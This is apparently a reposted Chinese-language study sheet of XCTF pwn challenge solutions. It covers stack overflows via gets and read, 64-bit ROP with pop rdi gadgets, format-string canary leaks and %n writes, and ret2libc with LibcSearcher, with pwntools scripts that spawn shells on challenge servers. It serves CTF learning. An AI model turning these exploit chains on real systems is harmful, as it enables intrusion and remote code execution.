XCTF pwn例题思路整理 侵删

    XCTF pwn例题思路整理

                                               侵删

1 .decode("iso-8859-1") 处理报错

2 read() 栈溢出

函数定义:ssize_t read(int fd, void * buf, size_t count);

函数说明:read()会把参数fd所指的文件传送count 个字节到buf 指针所指的内存中。

返回值:返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据。若参数count 为0, 则read()不会有作用并返回0。

3 write() 泄露函数地址

函数定义:ssize_t write (int fd, const void * buf, size_t count);

函数说明:write()会把参数buf所指的内存写入count个字节到参数fd所指的文件内。

返回值:如果顺利write()会返回实际写入的字节数(len)。当有错误发生时则返回-1,错误代码存入errno中。

4 gets()函数 栈溢出

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止。

gets(str) 约等于 scanf("%s",&str) 会把读到的字符串写入数组,但又不同。

scanf("%s",&str) :读到空格便停止。

gets(str) :一直读到敲回车(不管中间是否有空格)。

puts()在输出字符串时会将’’自动转换成’n’进行输出,也就是说,puts方法输出完字符串后会自动换行。

5. memset()函数原型是extern void *memset(void *buffer, int c, int count)        

buffer:为指针或是数组,

c:是赋给buffer的值,

count:是buffer的长度.

这个函数在socket中多用于清空数组.如:原型是memset(buffer, 0, sizeof(buffer))

Memset 用来对一段内存空间全部设置为某个字符,一般用在对定义的字符串进行初始化为‘ ’或‘/0’;

6 shift加F12 查看 String(/bin/sh) //寻找现成的调用system函数或者cat flag

7.1 ROPELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址#打开对应的二进制文件)

64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器(6个)传参,所以这时我们的思路变成如何覆盖edi的值,通过基本ROP就可以做到,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。

使用ROPgadget搜索操作寄存器的函数地址:

ROPgadget --binary 文件名 --only "pop|ret" (| grep rdi)

ret是返回到栈中。那么我们就找到了pop edi/rdi的地址

7.2 在32位程序当中,函数的传递是通过栈来进行传递。

构造shellcode 的方式是

padding+ fake_ebp+p32(system)/elf.symbols['system']+p32

(返回地址/0)+p32(system 的参数)

64位程序当中,函数的传递是通过寄存器进行传递。在64位程序当中,参数先是找rdi, rsi, rdx, rcx, r8, r9。

构造shellcode的方式是

padding+fake_ebp+p64(pop_rdi_ret)+p64(system的参数)+p64(system)

函数的返回地址被pop_rdi_ret所覆盖,执行的时候 system的参数就进入rdi当中 并且ret执行后面的system

8 from ctypes import *调用C语言动态链接库

/lib/i386-linux-gnu/libc.so.6

这是该库的32位版本.

/lib/x86_64-linux-gnu/libc.so.6

这是该库的64位版本.

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 'a' * 0x20 + p64(1).decode()

io.recvuntil('Your name:')

io.sendline(payload)

libc.srand(1)//伪随机 其实是个数列

for i in range(10)://0 1 2 3 4 5 6 7 8 9

    num = str(libc.rand()%6+1)

    io.recvuntil('number:')

    io.sendline(num)

io.interactive()

9 程序把s放到一个al寄存器中,al是一个八位寄存器,八位寄存器对于无符号整数来说是有0~255的范围的。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出。

payload=payload.ljust( ,'a')

10 from pwn import*//寻找可读可写的区域构造

elf=ELF('./cgpwn2')

addr=0x804a080

io.recv()

io.sendline("/bin/shx00")

sys_addr=elf.symbols['system']

io.recv()

p=42*'a'+p32(sys_addr)+'a'*4+p32(addr)

11 libc

elf=ELF(文件)

libc=ELF('./libc_32.so.6')

#get func address

write_plt = elf.plt['write']//在PLT表获得解析函数 获取具体地址 覆盖GOT表

write_got = elf.got['write']

main_addr = elf.symbols['main']

payload = padding + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)

# 用于填充栈空间的padding + write的PLT地址 + 关键函数的地址(作为调用write函数后的返回地址) + 给write函数的3个参数

# 3个参数的含义分别是: 标准输入流, 输出的字符串首地址, 输出的字符串长度

# 注意: 通过write_plt调用write和通过write真实地址调用是等价的, GOT在第一次调用write之后, 存的就是write的真实地址了

sh.sendlineafter("Input:n",payload)

write_got_addr = u32(sh.recv()[:4])

libc_addr = write_got_addr - libc.symbols['write']

sys_addr = libc_addr + libc.symbols['system']

bin_sh_addr = libc_addr + 0x15902b

payload0 = 'A'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

12 泄露cannary

p.sendline(str(2))#str输入

p.sendline("%23$p")#泄漏cannary

p.recvuntil("0x")

canary = int(p.recv(16),16)#接收16个字节

(p.recvuntil('battle n')

canary = int(p.recvline().strip('n'),16)

#读取输出,去掉n并表明读)

p.recvuntil("Exit the battle ")

payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)

13 泄露libc地址

没有现成的 system 也没有/bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和/bin/sh 字符串,我们可以利用 put 来泄露 read 函数的地址,然后再利用 LibcSearcher 查询可能的 libc。

这题 ROP,我们先构造 payload 来执行 puts 函数泄露 read 的地址

popedi是 pop edi这条指令所在的地址,我们可以在二进制文件里查找,发现了地址,然后我们传入 read 的 got 地址,接下来是 popedi 的返回地址,我们设为

putaddr,接下来是 puts 的返回地址,我们设为 mainaddr,这样我们又能重新执行主函数,执行第二次 rop

1. #coding:utf8

2. from pwn import *

3. from LibcSearcher import *

4.

5. elf = ELF('./pwnh5')

6. #x86 都是靠栈来传递参数的 而 x64 换了 它顺序是 rdi, rsi, rdx, rcx, r8, r9, 如果多于 6 个参数 才会用栈

7. readgot = elf.got['read']

8. putaddr = elf.sym['puts']

9. mainaddr = 0x4006B8

10. #pop edi 的地址

11. popedi = 0x400763

12.

13. #sh = process('./pwnh5')

14. sh = remote('111.198.29.45',52630)

15.

16. #这个 payload 用于泄露 read 位于 libc 的地址

17. #pop edi 将 read 的地址加载到 edi 中,用于传给 put 输出显示

18. #mainaddr 为覆盖 eip,这样我们又可以重新执行 main 函数了

19. payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainadd

r) + 'a'*(0xC8-0x48-32)

20.

21. sh.send(payload)

22.

23. sh.recvuntil('bye~n')

24.

25.

26. #注意,这步重要,必须要去掉末尾的n 符号

27. s = sh.recv().split('n')[0]

28. #凑足长度 8

29. for i in range(len(s),8):

30. s = s + 'x00'

31.

32. #得到 read 的地址

33. addr = u64(s)

34.

35. print hex(addr)

36.

37. #libc 数据库查询

38. obj = LibcSearcher("read",addr)

39.

40. #得到 libc 加载地址

41. libc_base = addr - obj.dump('read')

42.

43. #获得 system 地址

44. system_addr = obj.dump("system") + libc_base

45.

46. #获得/bin/sh 地址

47. binsh_addr = obj.dump("str_bin_sh") + libc_base

48.

49.

50. print hex(system_addr)

51. print hex(binsh_addr)

52.

53. payload = 'a'*0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + 'a'*

(0xC8-0x48-24)

54.

55. sh.send(payload)

56.

57. sh.interactive()

100 脚本模板

100.1 栈溢出

from pwn import *

r = remote("111.198.29.45", 34012) #连接指定IP及端口,题目给定

payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)#发送数据,输入数据溢出,并覆盖,返回到目标位置

r.recvuntil("字符串")       #运行到字符串位置停下

r.sendline(payload)         #发送 payload

r.interactive()             #交互

100.2.1 格式化字符串

漏洞:printf(&format,&format)

r.recvuntil(“secret[0] is “)

#使接收到的数据 倒序 赋给a1_addr

a1_addr = int(r.recvuntil(”n”)[:-1], 16)

sh.recvuntil(''Give me an address'')

sh.sendline(str(v3_addr))//从地址变成指针

sh.recvuntil('you wish is:')

payload = '%085d' + '%7$n'

输出AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 找到41414141获取偏移 或者直接 6+1

sh.sendline(payload)

#((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1) ≈call函数 调用v1为指针的函数 执行shellcode read输入shellcode

sh.sendline(asm(shellcraft.amd64.linux.sh(),arch="amd64"))

sh.interactive()

100.2.2 若需满足 x==8的要求

from pwn import *

p = remote()

p.recvuntil("代码中的字符串")

p.send('')

p.recvuntil("代码中的字符串")

payload=p32(溢出点)+"aaaa填充字符串个数%偏移量$n"

p.send(payload)

p.interactive()

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>